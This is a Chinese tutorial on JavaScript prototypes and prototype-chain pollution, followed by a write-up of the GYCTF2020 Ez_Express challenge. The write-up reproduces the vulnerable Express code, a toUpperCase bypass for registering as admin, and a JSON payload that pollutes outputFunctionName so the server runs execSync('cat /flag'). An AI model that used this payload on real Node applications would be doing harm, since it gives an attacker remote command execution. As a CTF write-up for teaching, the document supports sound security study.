原型链
概念
在 JavaScript 中,没有父类和子类这个概念,也没有类和实例的区分,而 JavaScript 中的继承关系则是靠一种叫做 “原型链” 的模式来实现的。
如果要定义一个类,需要以定义“构造函数”的方式来定义。例如下面的Foo函数就是Foo类的构造函数,this.bar就是Foo类的一个属性
1 2 3 4 5
   | function Foo() {     this.bar = 1 }
  new Foo()
 
  | 
 
在类中定义show方法,这种写法会在每次新建一个Foo对象时执行this.show = function...,也就是说这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

如果要在创建类时只创建一次show方法,就需要使用原型(prototype)
- 原型(prototype)是类Foo的一个属性
 
- 所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。例如foo对象天生就具有
foo.show()方法 

访问原型的方式:
访问Foo类的原型:
 
访问Foo类实例化出来的对象的原型:
 
总结
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法 
- 一个对象的
__proto__属性,指向这个对象所在的类的prototype属性 
继承机制
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
这里Son类继承了Father类的last_name。调用son.last_name时会先在Son对象中寻找目标,然后是son.__proto__,再找不到就是son.__proto__.__proto__,一直循环下去直到找到null结束

原型链污染
原理
foo.__proto__指向OBject类的prototype,修改它就可以修改Object类 
- foo是Object类的实例,执行
foo.__proto__.bar = 2相当于给Object类添加了一个bar属性,值为2 
- 后面用Object类创建了一个zoo对象,自然就有bar属性了
 

漏洞场景
原型链污染常出现于能够控制数组(对象)的“键名”的操作:
- 对象merge
 
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
 
未能成功污染原型链,原因是在执行let o2={a:1,"__proto__":{b:2}}时,__proto__已经代表o2的原型,这样在执行for (let key in source)遍历o2的键名时就不会把__proto__当作一个key,不会修改Object原型

需要加上JSON解析才能让__proto__被认定为是一个键名,从而成功污染原型链

[GYCTF2020]Ez_Express
知识点
- 存在大小写转换函数(toUpperCase),利用特殊字符绕过登录admin
 
- merge+clone,js原型链污染
 
过程
开始是一个登录界面

下载www.zip
在routes目录下有index.js,可以看到有merge和clone,可以判断是原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
   | var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => {   for (var attr in b) {     if (isObject(a[attr]) && isObject(b[attr])) {       merge(a[attr], b[attr]);     } else {       a[attr] = b[attr];     }   }   return a } const clone = (a) => {   return merge({}, a); } function safeKeyword(keyword) {   if(keyword.match(/(admin)/is)) {       return keyword   }
    return undefined }
  router.get('/', function (req, res) {   if(!req.session.user){     res.redirect('/login');   }   res.outputFunctionName=undefined;   res.render('index',data={'user':req.session.user.user}); });
 
  router.get('/login', function (req, res) {   res.render('login'); });
 
 
  router.post('/login', function (req, res) {   if(req.body.Submit=="register"){    if(safeKeyword(req.body.userid)){     res.end("<script>alert('forbid word');history.go(-1);</script>")     }     req.session.user={       'user':req.body.userid.toUpperCase(),       'passwd': req.body.pwd,       'isLogin':false     }     res.redirect('/');    }   else if(req.body.Submit=="login"){     if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}     if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){       req.session.user.isLogin=true;     }     else{       res.end("<script>alert('error passwd');history.go(-1);</script>")     }      }   res.redirect('/'); ; }); router.post('/action', function (req, res) {   if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}    req.session.user.data = clone(req.body);   res.end("<script>alert('success');history.go(-1);</script>");   }); router.get('/info', function (req, res) {   res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
 
 
  | 
 
调用clone的位置,需要先以admin身份登录
1 2 3 4 5
   | router.post('/action', function (req, res) {   if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}    req.session.user.data = clone(req.body);   res.end("<script>alert('success');history.go(-1);</script>");   });
 
  | 
 
登录部分的处理逻辑,可以看到限制注册用户admin,大小写都不行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
   | router.post('/login', function (req, res) {   if(req.body.Submit=="register"){    if(safeKeyword(req.body.userid)){     res.end("<script>alert('forbid word');history.go(-1);</script>")     }     req.session.user={       'user':req.body.userid.toUpperCase(),       'passwd': req.body.pwd,       'isLogin':false     }     res.redirect('/');    }   else if(req.body.Submit=="login"){     if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}     if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){       req.session.user.isLogin=true;     }     else{       res.end("<script>alert('error passwd');history.go(-1);</script>")     }      }   res.redirect('/'); ; });
 
  | 
 
用户名处使用了toUpperCase,可以用特殊字符注册绕过
1
   | 'user':req.body.userid.toUpperCase()
 
  | 
 
参考

注册用户
成功以admin身份登录

现在来看看需要污染哪个参数
此处将 res 对象中的 outputFunctionName 属性渲染入 index 中,而 outputFunctionName 是未定义的
1 2 3
   | router.get('/info', function (req, res) {   res.render('index',data={'user':res.outputFunctionName}); })
 
  | 
 

修改为json格式的payload,同时还需要把Content-Type 设为 application/json(express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:)
1
   | {"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
 
  | 
 

访问/info得到flag

总结
- 寻找可以修改
__proto__的地方(merge) 
- 寻找合适的属性进行原型链污染(未被赋值,存在利用点)
 
参考链接
https://www.anquanke.com/post/id/242645
https://www.anquanke.com/post/id/236182
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
https://nikoeurus.github.io/2019/11/30/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/#%E5%8E%9F%E5%9E%8B